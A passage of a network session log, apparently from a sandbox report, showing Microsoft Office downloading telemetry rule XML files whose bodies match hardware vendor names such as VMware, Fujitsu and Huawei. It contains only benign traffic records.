R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 88f0aa43-e01e-0033-32a0-344695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011404Z-15869dbbcc6zbpm7hC1DFW75xg00000008a0000000002mqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:04 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011404Z-16547b76f7frbg6bhC1DFWr5400000000etg00000000hyxw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:04 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011404Z-16547b76f7f22sh5hC1DFWyb4w0000000evg00000000ams9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:04 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011404Z-16547b76f7f22sh5hC1DFWyb4w0000000eyg000000000tuw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011405Z-16547b76f7f7lhvnhC1DFWa2k00000000erg00000000sg77 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:05 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:05 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 78a78bc2-701e-0053-0ba0-343a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011405Z-15869dbbcc62nmdhhC1DFW2sxs00000005cg00000000nkun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:05 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011405Z-16547b76f7f7rtshhC1DFWrtqn0000000ez000000000bxnf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:05 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011405Z-16547b76f7fp46ndhC1DFW66zg0000000ewg00000000r2v7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:05 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011405Z-15869dbbcc662ldwhC1DFWh4e000000005fg000000000ud0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:06 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: e927806a-001e-002b-31a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011406Z-15869dbbcc6vr5dxhC1DFWyw4g0000000130000000004d2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6d06536c-d01e-005a-3ca0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011406Z-15869dbbcc6vr5dxhC1DFWyw4g00000000zg00000000dyzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:06 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: aa5efcfd-901e-0029-1aa0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011406Z-15869dbbcc6tfpj2hC1DFW384c00000008qg00000000ftnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
